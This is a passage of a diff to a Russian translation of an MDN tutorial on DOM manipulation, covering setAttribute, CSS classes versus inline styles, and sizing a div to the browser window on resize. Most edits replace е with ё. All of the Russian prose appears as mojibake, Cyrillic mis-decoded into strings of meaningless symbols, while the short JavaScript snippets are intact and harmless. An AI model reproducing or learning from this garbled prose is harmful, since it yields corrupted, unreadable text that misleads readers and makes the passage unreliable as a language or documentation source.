+ <li>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Ρ‘ΠΌ ΠΊ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΌΡƒ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρƒ для ΠΎΠ±Ρ‰Π΅Π³ΠΎ манипулирования HTML - {{domxref("Element.setAttribute()")}} - это ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π΄Π²Π° Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°, Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ для элСмСнта, ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ для Π΅Π³ΠΎ установки. Π’ этом случаС ΠΌΡ‹ ΡƒΠΊΠ°ΠΆΠ΅ΠΌ имя класса выдСлСния Π² нашСм Π°Π±Π·Π°Ρ†Π΅:
<pre class="brush: js notranslate">para.setAttribute('class', 'highlight');</pre>
</li>
<li>ΠžΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅ свою страницу, ΠΈ Π²Ρ‹ Π½Π΅ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ - CSS ΠΏΠΎ-ΠΏΡ€Π΅ΠΆΠ½Π΅ΠΌΡƒ примСняСтся ΠΊ Π°Π±Π·Π°Ρ†Ρƒ, Π½ΠΎ Π½Π° этот Ρ€Π°Π·, прСдоставив Π΅ΠΌΡƒ класс, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹Π±Ρ€Π°Π½ нашим ΠΏΡ€Π°Π²ΠΈΠ»ΠΎΠΌ CSS, Π° Π½Π΅ ΠΊΠ°ΠΊ встроСнныС стили CSS.</li>
</ol>
-<p>Какой ΠΌΠ΅Ρ‚ΠΎΠ΄ Π²Ρ‹ Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚Π΅, зависит ΠΎΡ‚ вас; ΠΎΠ±Π° ΠΈΠΌΠ΅ΡŽΡ‚ свои прСимущСства ΠΈ нСдостатки. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ мСньшС настроСк ΠΈ Ρ…ΠΎΡ€ΠΎΡˆ для простого использования, Ρ‚ΠΎΠ³Π΄Π° ΠΊΠ°ΠΊ Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π±ΠΎΠ»Π΅Π΅ пурист (Π±Π΅Π· смСшивания CSS ΠΈ JavaScript, Π±Π΅Π· встроСнных стилСй, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ плохая ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ°). Когда Π²Ρ‹ Π½Π°Ρ‡Π½Π΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ ΠΊΡ€ΡƒΠΏΠ½Ρ‹Π΅ прилоТСния, Π²Ρ‹, вСроятно, Π½Π°Ρ‡Π½Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ большС, Π½ΠΎ это Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ зависит ΠΎΡ‚ вас.</p>
+<p>Какой ΠΌΠ΅Ρ‚ΠΎΠ΄ Π²Ρ‹ Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚Π΅, зависит ΠΎΡ‚ вас; ΠΎΠ±Π° ΠΈΠΌΠ΅ΡŽΡ‚ свои прСимущСства ΠΈ нСдостатки. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ мСньшС настроСк ΠΈ Ρ…ΠΎΡ€ΠΎΡˆ для простого использования, Ρ‚ΠΎΠ³Π΄Π° ΠΊΠ°ΠΊ Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π±ΠΎΠ»Π΅Π΅ пурист (Π±Π΅Π· смСшивания CSS ΠΈ JavaScript, Π±Π΅Π· встроСнных стилСй, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ плохая ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ°). Когда Π²Ρ‹ Π½Π°Ρ‡Π½Ρ‘Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ ΠΊΡ€ΡƒΠΏΠ½Ρ‹Π΅ прилоТСния, Π²Ρ‹, вСроятно, Π½Π°Ρ‡Π½Ρ‘Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ большС, Π½ΠΎ это Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ зависит ΠΎΡ‚ вас.</p>
<p>На Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΠΌΡ‹ Π½Π΅ сдСлали Π½ΠΈΡ‡Π΅Π³ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠ³ΠΎ! НСт смысла ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ JavaScript для создания статичСского ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° - Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ просто Π·Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ Π΅Π³ΠΎ Π² свой HTML ΠΈ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ JavaScript. Π­Ρ‚ΠΎ слоТнСС, Ρ‡Π΅ΠΌ HTML, ΠΈ для создания вашСго ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ JavaScript Ρ‚Π°ΠΊΠΆΠ΅ Π΅ΡΡ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ связанныС с Π½ΠΈΠΌ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π½Π΅ Ρ‡ΠΈΡ‚Π°Π΅ΠΌΡ‹Π΅ поисковыми систСмами).</p>
-<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Π°Ρ… ΠΌΡ‹ рассмотрим Π΅Ρ‰Π΅ нСсколько практичСских ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠΉ DOM API.</p>
+<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Π°Ρ… ΠΌΡ‹ рассмотрим Π΅Ρ‰Ρ‘ нСсколько практичСских ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠΉ DOM API.</p>
<div class="note">
<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ наш ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/dom-example-manipulated.html">finished version of the dom-example.html</a> Π½Π° GitHub (<a href="https://mdn.github.io/learning-area/javascript/apis/document-manipulation/dom-example-manipulated.html">см. Ρ‚Π°ΠΊΠΆΠ΅ live</a>).</p>
@@ -222,14 +222,14 @@ para.style.textAlign = 'center';</pre>
<h2 id="АктивноС_ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅_динамичСский_список_ΠΏΠΎΠΊΡƒΠΏΠΎΠΊ">АктивноС ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅: динамичСский список ΠΏΠΎΠΊΡƒΠΏΠΎΠΊ</h2>
-<p>Π”ΠΎ сих ΠΏΠΎΡ€ ΠΌΡ‹ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ смотрСли Π½Π° использованиС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ {{domxref("Node")}} ΠΈ {{domxref("Document")}} для управлСния Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈ, Π½ΠΎ Π½Π΅Ρ‚ ΠΏΡ€ΠΈΡ‡ΠΈΠ½, ΠΏΠΎ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ· Π΄Ρ€ΡƒΠ³ΠΈΡ… источников ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π² ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΌ интСрфСйсС. ВспомнитС Π½Π°ΡˆΡƒ ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ Π΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€Π°Ρ†ΠΈΡŽ <a href="http://mdn.github.io/learning-area/javascript/apis/introduction/maps-example.html">maps-example.html</a> ΠΈΠ· послСднСй ΡΡ‚Π°Ρ‚ΡŒΠΈ - Ρ‚Π°ΠΌ ΠΌΡ‹ ΠΈΠ·Π²Π»Π΅ΠΊΠ»ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΎ мСстополоТСнии ΠΈ использовали Π΅Π΅ для отобраТСния ΠΊΠ°Ρ€Ρ‚Ρ‹ вашСй области. Π’Π°ΠΌ просто Π½ΡƒΠΆΠ½ΠΎ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ ваши Π΄Π°Π½Π½Ρ‹Π΅ Π² ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅; JavaScript ΡƒΠΏΡ€ΠΎΡ‰Π°Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Ρƒ, Ρ‡Π΅ΠΌ ΠΌΠ½ΠΎΠ³ΠΈΠ΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ языки, Π±ΡƒΠ΄ΡƒΡ‡ΠΈ слабо Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌΒ - Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, числа автоматичСски ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΡŽΡ‚ΡΡ Π² строки, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Ρ€Π°ΡΠΏΠ΅Ρ‡Π°Ρ‚Π°Ρ‚ΡŒ ΠΈΡ… Π½Π° экранС.</p>
+<p>Π”ΠΎ сих ΠΏΠΎΡ€ ΠΌΡ‹ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ смотрСли Π½Π° использованиС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ {{domxref("Node")}} ΠΈ {{domxref("Document")}} для управлСния Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈ, Π½ΠΎ Π½Π΅Ρ‚ ΠΏΡ€ΠΈΡ‡ΠΈΠ½, ΠΏΠΎ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ· Π΄Ρ€ΡƒΠ³ΠΈΡ… источников ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π² ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΌ интСрфСйсС. ВспомнитС Π½Π°ΡˆΡƒ ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ Π΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€Π°Ρ†ΠΈΡŽ <a href="http://mdn.github.io/learning-area/javascript/apis/introduction/maps-example.html">maps-example.html</a> ΠΈΠ· послСднСй ΡΡ‚Π°Ρ‚ΡŒΠΈ - Ρ‚Π°ΠΌ ΠΌΡ‹ ΠΈΠ·Π²Π»Π΅ΠΊΠ»ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΎ мСстополоТСнии ΠΈ использовали Π΅Ρ‘ для отобраТСния ΠΊΠ°Ρ€Ρ‚Ρ‹ вашСй области. Π’Π°ΠΌ просто Π½ΡƒΠΆΠ½ΠΎ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ ваши Π΄Π°Π½Π½Ρ‹Π΅ Π² ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅; JavaScript ΡƒΠΏΡ€ΠΎΡ‰Π°Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Ρƒ, Ρ‡Π΅ΠΌ ΠΌΠ½ΠΎΠ³ΠΈΠ΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ языки, Π±ΡƒΠ΄ΡƒΡ‡ΠΈ слабо Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌΒ - Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, числа автоматичСски ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΡŽΡ‚ΡΡ Π² строки, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Ρ€Π°ΡΠΏΠ΅Ρ‡Π°Ρ‚Π°Ρ‚ΡŒ ΠΈΡ… Π½Π° экранС.</p>
<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ Ρ€Π΅ΡˆΠΈΠΌ ΠΎΠ±Ρ‰ΡƒΡŽ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ: ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΊΠ°ΠΊ ΠΎΠΊΠ½ΠΎ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΎΠ½ просматриваСтся, нСзависимо ΠΎΡ‚ Π΅Π³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π°. Π­Ρ‚ΠΎ часто ΠΏΠΎΠ»Π΅Π·Π½ΠΎ Π² Ρ‚Π°ΠΊΠΈΡ… ситуациях, ΠΊΠ°ΠΊ ΠΈΠ³Ρ€Ρ‹, Π³Π΄Π΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ ΠΏΠ»ΠΎΡ‰Π°Π΄ΡŒ экрана, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ³Ρ€Π°Ρ‚ΡŒ Π² ΠΈΠ³Ρ€Ρƒ.</p>
<p>Для Π½Π°Ρ‡Π°Π»Π° создайтС Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΡƒΡŽ копию Π½Π°ΡˆΠΈΡ… Π΄Π΅ΠΌΠΎ-Ρ„Π°ΠΉΠ»ΠΎΠ² <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/window-resize-example.html">window-resize-example.html</a> ΠΈ <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/bgtile.png">bgtile.png</a>. ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ Π΅Π³ΠΎ ΠΈ посмотритС - Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ Ρƒ нас Π΅ΡΡ‚ΡŒ элСмСнт {{htmlelement("div")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ Π½Π΅Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ экрана, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ нанСсСна фоновая ΠΏΠ»ΠΈΡ‚ΠΊΠ°. ΠœΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ это, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΡˆΡƒ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса прилоТСния.</p>
<ol>
- <li>ΠŸΡ€Π΅ΠΆΠ΄Π΅ всСго, Π΄Π°Π²Π°ΠΉΡ‚Π΅ возьмСм ссылку Π½Π° div, Π° Π·Π°Ρ‚Π΅ΠΌ возьмСм ΡˆΠΈΡ€ΠΈΠ½Ρƒ ΠΈ высоту ΠΎΠΊΠ½Π° просмотра (Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅Π΅ ΠΎΠΊΠ½ΠΎ, Π³Π΄Π΅ отобраТаСтся ваш Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚) ΠΈ сохранитС ΠΈΡ… Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… - эти Π΄Π²Π° значСния ΡƒΠ΄ΠΎΠ±Π½ΠΎ содСрТатся Π² {{domxref("Window.innerWidth")}} ΠΈ {{domxref("Window.innerHeight")}}. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ строки Π²Π½ΡƒΡ‚Ρ€ΠΈ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ элСмСнта {{htmlelement("script")}}:
+ <li>ΠŸΡ€Π΅ΠΆΠ΄Π΅ всСго, Π΄Π°Π²Π°ΠΉΡ‚Π΅ Π²ΠΎΠ·ΡŒΠΌΡ‘ΠΌ ссылку Π½Π° div, Π° Π·Π°Ρ‚Π΅ΠΌ Π²ΠΎΠ·ΡŒΠΌΡ‘ΠΌ ΡˆΠΈΡ€ΠΈΠ½Ρƒ ΠΈ высоту ΠΎΠΊΠ½Π° просмотра (Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅Π΅ ΠΎΠΊΠ½ΠΎ, Π³Π΄Π΅ отобраТаСтся ваш Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚) ΠΈ сохранитС ΠΈΡ… Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… - эти Π΄Π²Π° значСния ΡƒΠ΄ΠΎΠ±Π½ΠΎ содСрТатся Π² {{domxref("Window.innerWidth")}} ΠΈ {{domxref("Window.innerHeight")}}. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ строки Π²Π½ΡƒΡ‚Ρ€ΠΈ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ элСмСнта {{htmlelement("script")}}:
<pre class="brush: js notranslate">var div = document.querySelector('div');
var WIDTH = window.innerWidth;
var HEIGHT = window.innerHeight;</pre>
@@ -238,8 +238,8 @@ var HEIGHT = window.innerHeight;</pre>
<pre class="brush: js notranslate">div.style.width = WIDTH + 'px';
div.style.height = HEIGHT + 'px';</pre>
</li>
- <li>Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ ΠΈ ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ - Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ div становится Ρ‚Π°ΠΊΠΈΠΌ ΠΆΠ΅ большим, ΠΊΠ°ΠΊ ваш Π²ΠΈΠ΄ΠΎΠ²ΠΎΠΉ экран, нСзависимо ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊΠΎΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ экрана Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅. Если Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π²Ρ‹ ΠΏΠΎΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΎΠΊΠ½Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΡ‚ΡŒ Π΅Π³ΠΎ, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ div остаСтся ΠΎΠ΄Π½ΠΎΠ³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° - ΠΌΡ‹ устанавливаСм Π΅Π³ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π·.</li>
- <li>Как насчСт Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΌΡ‹ использовали событиС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·ΠΌΠ΅Ρ€ div измСнялся ΠΏΡ€ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° ΠΎΠΊΠ½Π°? ΠžΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("Window")}} ΠΈΠΌΠ΅Π΅Ρ‚ событиС, ΠΈΠΌΠ΅ΡŽΡ‰Π΅Π΅ΡΡ Π½Π° Π½Π΅ΠΌ с ΠΈΠΌΠ΅Π½Π΅ΠΌ resize, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ запускаСтся ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π· ΠΏΡ€ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° ΠΎΠΊΠ½Π° - Π΄Π°Π²Π°ΠΉΡ‚Π΅ обратимся ΠΊ Π½Π΅ΠΌΡƒ Ρ‡Π΅Ρ€Π΅Π· ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий {{domxref("Window.onresize")}} ΠΈ повторяйтС наш Ρ€Π°Π·ΠΌΠ΅Ρ€Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ измСняСтся. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π½ΠΈΠΆΠ΅ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ ΠΊΠΎΠ΄Π°:
+ <li>Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ ΠΈ ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ - Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ div становится Ρ‚Π°ΠΊΠΈΠΌ ΠΆΠ΅ большим, ΠΊΠ°ΠΊ ваш Π²ΠΈΠ΄ΠΎΠ²ΠΎΠΉ экран, нСзависимо ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊΠΎΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ экрана Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅. Если Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π²Ρ‹ ΠΏΠΎΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΎΠΊΠ½Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΡ‚ΡŒ Π΅Π³ΠΎ, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ div остаётся ΠΎΠ΄Π½ΠΎΠ³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° - ΠΌΡ‹ устанавливаСм Π΅Π³ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π·.</li>
+ <li>Как насчёт Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΌΡ‹ использовали событиС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·ΠΌΠ΅Ρ€ div измСнялся ΠΏΡ€ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° ΠΎΠΊΠ½Π°? ΠžΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("Window")}} ΠΈΠΌΠ΅Π΅Ρ‚ событиС, ΠΈΠΌΠ΅ΡŽΡ‰Π΅Π΅ΡΡ Π½Π° Π½Π΅ΠΌ с ΠΈΠΌΠ΅Π½Π΅ΠΌ resize, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ запускаСтся ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π· ΠΏΡ€ΠΈ 